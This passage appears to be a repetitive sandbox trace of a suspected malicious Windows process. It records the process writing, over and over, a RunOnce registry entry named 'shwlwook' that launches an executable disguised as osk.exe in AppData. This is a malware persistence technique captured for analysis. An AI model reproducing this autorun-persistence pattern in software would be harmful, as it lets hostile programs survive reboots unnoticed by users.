Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.373] RegCloseKey (hKey=0x644) returned 0x0 [0277.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.383] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.383] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.384] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.384] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.384] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.384] RegCloseKey (hKey=0x644) returned 0x0 [0277.385] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.385] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.399] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.399] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.399] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.400] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.400] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.400] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.400] RegCloseKey (hKey=0x644) returned 0x0 [0277.400] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.401] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.415] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.415] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.415] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.416] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.416] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.416] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.416] RegCloseKey (hKey=0x644) returned 0x0 [0277.416] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.417] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.430] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.430] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.430] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.431] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.431] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.431] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.431] RegCloseKey (hKey=0x644) returned 0x0 [0277.432] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.432] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.446] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.446] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.447] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.447] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.447] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.447] RegCloseKey (hKey=0x644) returned 0x0 [0277.448] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.448] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.463] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.463] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.463] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.464] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.464] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.464] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.464] RegCloseKey (hKey=0x644) returned 0x0 [0277.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.465] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.493] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.493] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.493] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.494] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.494] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.494] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.494] RegCloseKey (hKey=0x644) returned 0x0 [0277.494] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.495] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.508] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.508] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.509] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.509] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.509] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.510] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.510] RegCloseKey (hKey=0x644) returned 0x0 [0277.510] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.510] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.559] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.559] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.561] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.561] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.561] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.561] RegCloseKey (hKey=0x644) returned 0x0 [0277.561] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.562] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.571] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.571] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.571] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.572] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.572] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.572] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.572] RegCloseKey (hKey=0x644) returned 0x0 [0277.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.573] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.587] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.587] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.587] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.587] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.588] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.588] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.588] RegCloseKey (hKey=0x644) returned 0x0 [0277.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.589] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.602] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.602] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.603] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.603] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.603] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.603] RegCloseKey (hKey=0x644) returned 0x0 [0277.604] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.604] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.618] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.618] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.618] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.619] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.619] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.619] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.619] RegCloseKey (hKey=0x644) returned 0x0 [0277.619] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.620] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.633] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.633] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.634] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.634] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.634] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.635] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.635] RegCloseKey (hKey=0x644) returned 0x0 [0277.635] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.635] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.649] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.649] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.649] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.650] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.650] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.650] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.650] RegCloseKey (hKey=0x644) returned 0x0 [0277.651] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.651] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.664] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.664] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.665] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.665] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.665] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.666] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.666] RegCloseKey (hKey=0x644) returned 0x0 [0277.666] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.666] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.681] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.681] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.681] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.682] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.682] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.682] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.682] RegCloseKey (hKey=0x644) returned 0x0 [0277.682] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.683] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.727] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.727] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.728] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.729] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.729] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.729] RegCloseKey (hKey=0x644) returned 0x0 [0277.729] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.730] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.743] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.743] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.743] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.744] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.744] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.744] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.744] RegCloseKey (hKey=0x644) returned 0x0 [0277.745] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.745] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.840] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.840] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.840] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.841] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.841] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.841] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.841] RegCloseKey (hKey=0x644) returned 0x0 [0277.841] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.842] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.873] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.873] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.873] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.874] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.874] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.874] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.874] RegCloseKey (hKey=0x644) returned 0x0 [0277.874] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.875] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.884] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.884] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.885] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.885] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, 